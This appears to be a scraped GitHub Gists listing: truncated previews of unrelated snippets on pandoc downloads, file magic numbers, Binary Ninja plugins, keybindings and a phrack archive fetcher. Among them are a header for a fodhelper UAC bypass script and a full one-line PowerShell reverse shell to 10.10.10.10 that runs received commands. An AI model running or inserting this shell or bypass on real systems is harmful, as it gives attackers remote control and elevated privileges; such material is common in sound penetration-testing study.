CX330 CX330Blake

Use curl to get the JSON response for the latest release
Use grep to find the line containing file URL
Use cut and tr to extract the URL
Use wget to download it

curl -s https://api.github.com/repos/jgm/pandoc/releases/latest \
| grep "browser_download_url.*deb" \
| cut -d : -f 2,3 \
| tr -d \" \

File Magic Numbers

Magic numbers are the first bits of a file which uniquely identify the type of file. This makes programming easier because complicated file structures need not be searched in order to identify the file type.

For example, a jpeg file starts with ffd8 ffe0 0010 4a46 4946 0001 0101 0047 ......JFIF.....G ffd8 shows that it's a JPEG file, and ffe0 identify a JFIF type structure. There is an ascii encoding of "JFIF" which comes after a length code, but that is not necessary in order to identify the file. The first 4 bytes do that uniquely.

This gives an ongoing list of file-type magic numbers.

	Welcome to Jordan's grab-bag of common Binary Ninja Snippets.

	These snippets are meant to run with the Binary Ninja Snippets Plugin
	(http://github.com/Vector35/snippets) though they can all also be pasted
	directly into the python console or turned into stand-alone plugins if needed.

	To install the entire collection at once, just install the Snippets plugin via
	the plugin manager (CMD/CTL-SHIFT-M), confirm the Snippet Editor works
	(Tool/Snippets/Snippet Editor), and unzip this bundle (Download ZIP above) into
	your Snippets folder.

	{
	"Back" : "Escape; Back; Ctrl+[; Meta+O",
	"Forward" : "Forward; Ctrl+[; Meta+I",
	"Change Type..." : "Shift+Y; ",
	"Close Window" : "Ctrl+W; X",
	"Command Palette" : "Ctrl+P; Space",
	"Copy" : "Ctrl+C; Y",
	"Disassembly Graph" : "G, L",
	"Display as\\Binary" : "D",
	"Display as\\Default" : "D",

	#requires -version 5

	<#
	The things you find on Google searching for specific GUIDs...

	Known Keyword friendly names:
	"UTC:::CATEGORYDEFINITION.MS.CRITICALDATA":"140737488355328"
	"UTC:::CATEGORYDEFINITION.MS.MEASURES":"70368744177664"
	"UTC:::CATEGORYDEFINITION.MS.TELEMETRY":"35184372088832"
	"UTC:::CATEGORYDEFINITION.MSWLAN.CRITICALDATA":"2147483648"

	////////
	// The vm module lets you run a string containing javascript code 'in
	// a sandbox', where you specify a context of global variables that
	// exist for the duration of its execution. This works more or less
	// well, and if you're in control of the code that's running, and you
	// have a reasonable protocol in mind// for how it expects a certain
	// context to exist and interacts with it --- like, maybe a plug-in
	// API for a program, with some endpoints defined for it that do
	// useful domain-specific things --- your life can go smoothly.

	<#
	.SYNOPSIS
	This script can bypass User Access Control (UAC) via fodhelper.exe

	It creates a new registry structure in: "HKCU:\Software\Classes\ms-settings\" to perform UAC bypass and starts
	an elevated command prompt.

	.NOTES
	Function : FodhelperUACBypass
	File Name : FodhelperUACBypass.ps1

	# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

	$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535\|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" \| Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

	#!/bin/sh

	for i in {1..67}
	do
	FILE="phrack${i}.tar.gz"
	wget http://phrack.org/archives/tgz/${FILE}
	tar xvzf ${FILE}
	rm ${FILE}
	done

CX330 CX330Blake

File Magic Numbers

Image Files